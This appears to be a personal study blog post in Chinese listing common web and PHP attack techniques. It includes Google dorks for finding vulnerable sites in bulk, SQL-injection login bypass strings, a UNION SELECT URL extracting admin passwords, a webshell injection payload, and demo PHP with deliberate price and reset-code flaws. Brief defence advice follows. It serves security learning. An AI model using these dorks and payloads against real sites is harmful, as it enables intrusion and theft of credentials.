Web笔记(十七)php常见漏洞利用

这个系列是整理学习安全的笔记,包括Web和PWN的一些知识。本章是学习了大佬视频教程分析常见网站漏洞利用之后记录的笔记,以便以后在遇到一些相应功能模块的时候可以想到可能存在哪些漏洞。

Posted by K4ys0n on December 18, 2020

0x01 网站暴库漏洞

1. 简介

暴库,就是通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地,黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,黑客也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。

2. 如何找到有漏洞的站点

  • inurl:/inc/conn.asp (可以将/进行URL编码,即inc%5cconn.asp)
  • inurl:/inc+conn.asp to parent directory
  • intext:to parent directory
  • inurl:/inc/conn.asp
  • inurl:/inc+conn.asp
  • 利用Google来搜索目录浏览的Google语法主要有:intitle、intext、inurl、site、filetype等等
  • 搜索域名后缀,常见的域名后缀有:com、net、mil、org、info、gov、edu、biz、coop、areo、pro、int、arpa

3. 利用目录遍历漏洞

所有可以目录浏览的网页都有一些相同的地方,主要是下面几个:

  • to parent directory
  • last modified Description
  • 转到父目录

4. 常见数据库暴库文件形式

  • access:data.mdb

  • sqlserver、mysql:数据库连接文件

5. 暴库绕过防下载

  • #sdsf.mdb 下载时改为 %23sdsf.mdb
  • #@!$%^&*asdfkladsf@!#.mdb 这些奇奇怪怪的符号都先进行URL编码再去访问,编码为:%23@%21%24%25%5E%26%2aasdfkladsf@%21%23.mdb

6. 高级语法暴库

  • inurl:./..admin../..add..
  • inurl:./..admin../..del..
  • inurl:/.asp<id=<% <%<%
  • intext:<%eval
  • intitle:<%eval

0x02 下载漏洞

1. 可能存在漏洞的URL

一般在形如下面这些可以下载的链接处可能存在下载漏洞。

  • http://xxxx/
  • http://xxxx/shida/UploadFiles/indentAttFile/2012061222041778.doc
  • http://xxxx/down.asp?fileup=shida/UploadFiles/indentAttFile/2012061222041778.doc
  • http://xxxx/news/down.asp?FileName=doc/2012-5/2012053010329973.doc

2. 可以搜索一些关键词

  • inurl:down.asp?fileup=
  • inurl:down.asp?FileName=

3. 下载漏洞利用

  • 通过蜘蛛爬行
  • 找到该url
  • 下载conn.asp、config.php、config.asp
  • db.mdb

0x03 网站后台密码爆破

1. 简介

为了管理员方便管理网站,cms系统通常有管理员后台管理接口,该接口需要出示管理员账号密码,正确验证后方可登录。

2. 常见后台

  • 织梦:dede
  • discuz:admin.php
  • 帝国:e/admin
  • phpweb:admin.php
  • WordPress:wp-admin
  • aspcms:admin
  • 科讯:admin
  • 南方:admin
  • 良精:admin
  • ecshop:admin
  • ……

还有manager、login_admin、login_manage、houtai、denglu等,从robots.txt中也可能看到。

0x04 弱口令猜解

1. 简介

管理员为了省事,可能会忽略掉网站后台密码的安全性,一般可能会设置一些初始密码或弱口令。

2. 猜解方法

  • 常见初始密码弱口令:admin、admin888、admin123、123456、111、123、111111等等
  • 逻辑万能秘钥
'or' = 'or'
admin' or 1=1 --
admin' or '1'='1

3. 常见工具

  • burpsuite
  • httpfuzzer(如果有验证码需要简单破解)
  • ……

0x05 网站漏洞exp利用

1. 简介

exp是exploit(漏洞利用)的缩写,当我们cms出现漏洞的时候针对漏洞原理可以写出针对该漏洞的exploit,有的exp可以直接添加管理员、或者getshell、爆出管理员账号密码、数据库账号密码等等。

2. 收集途径

  • 百度收集
  • 与朋友探讨交流
  • 利用工具直接exp

3. 批量拿站

关键字搜索,如:

  • 有限公司–Powered by ASPCMS V2.0
  • Powered by AspCms2
  • Powered by AspCms2.0
  • AspCms2.0
  • Powere

关键字:inurl:newgoods.asp?action_key_order=news

利用方法:admin_shopxp/upLoad_bm.asp

关键字:

  • inurl:/class/?1.html
  • inurl:class/index.php?catid=0
  • inurl:/page/html/?1.html
  • inurl:news/html/?411/html(推荐)
  • 默认后台地址:/admin.php

4. 注入地址

  • down/class/index.php?myord=1
  • news/class/index.php?showtag=
  • 万能密钥 admin ‘or’1’=’1

5. 批量

搜索关键字:

  • Powered by DedeCMS_V57_UTF8_SP1 2004-2011 DesDev Inc
  • inurl:shopxp_news.asp
  • TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2password,4,5,6,7%20from%20shopxp_admin

0x06 常见CMS漏洞或其他漏洞

1. bluecms v1.6

  • ad_js.php sql注入
  • http头注入
  • 编辑文件时文件包含
  • 宽字节注入

2. tomcat

  • 8009端口ajp漏洞
  • manage.html文件包含漏洞

3. jboss

  • 命令执行RCE

4. wordpress

  • 外观(主题)编辑getshell

5. redis 4.x/5.x

  • RCE远程命令执行

https://github.com/Ridter/redis-rce 需要python3.6版本以上,将input改为raw_input可以用python2.7运行

7. 魅力CMS

  • 后台模板设置管理公司名称注入%><%eval request(cmd),保存后可以访问http://xxx.com/inc/config.asp处可以getshell

0x07 逻辑漏洞

1. 简介

逻辑漏洞挖掘一直是安全测试中“经久不衰”的话题。相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损,并且传统的安全防御措施收效甚微。

在存在功能性的接口中,都有可能存在程序逻辑功能的安全问题,例如:支付外的任意金额修改。

2. 订单处逻辑漏洞

订单处的逻辑漏洞,大部分在于程序未能正确处理商品价格,数量等。

用户->购买商品->结账->成功购买,那么在购买商品到结账之间如何获得商品的价格呢?

情况1、商品价格可以任意修改。

情况2、商品价格在后端存储,但是价格数量可以修改。例如:输入-1价格等。

  • 订单处示例代码
<?php
    if(isset($_POST["submit"])){
        $num = $_POST["num"];
        $price = $_POST["price"];
        echo "需要支付: ".$num*$price."元";
    }
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>login price</title>
</head>
<body>
    <h1>提交订单</h1>
    <form method="post" action="">
        手机名称:test
        <br>
        数量:<input type="text" name="num">
        <br>
        <input type="hidden" name="price" value="100">
        <br>
        <input type="submit" name="submit" value="确定">
    </form>
</body>
</html>
  • 逻辑漏洞防御
    • 订单多重验证。
    • 数额巨大采用人工验证。

3. 密码重置处逻辑漏洞

  • 密码重置or密码找回区别

实际情况下,用户很可能长时间不使用该系统忘记了对应的用户密码,此时系统应该提供密码找回或修改功能。但是大多数提供的是密码重置,而非密码找回。

明文存储,这样才能找回密码

密文存储,由于加密是不可逆的,所以加密之后无法找回原来的明文密码,所以只能重置。

用户->重置模块->发送验证码验证身份->成功重置

如果验证码是一个弱数字。

  • 密码重置处逻辑漏洞

如果手机验证码或邮箱验证码为一个4位数,且没有机制来验证输入次数,那么此时存在被破解的风险。

<?php
    //$code = rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9);
    $code = 1234;
    echo $code;
    if (isset($_POST["submit"])) {
        if ($_POST["code"] == $code) {
            echo "修改成功";
        }else{
            echo "验证码错误";
        }
    }
?>
  • 逻辑漏洞防御
    • 设置复杂验证码 例如6位数字
    • 设置限制次数,比如3次输入错误需要重置验证码 或者 设置时间1分钟有效等。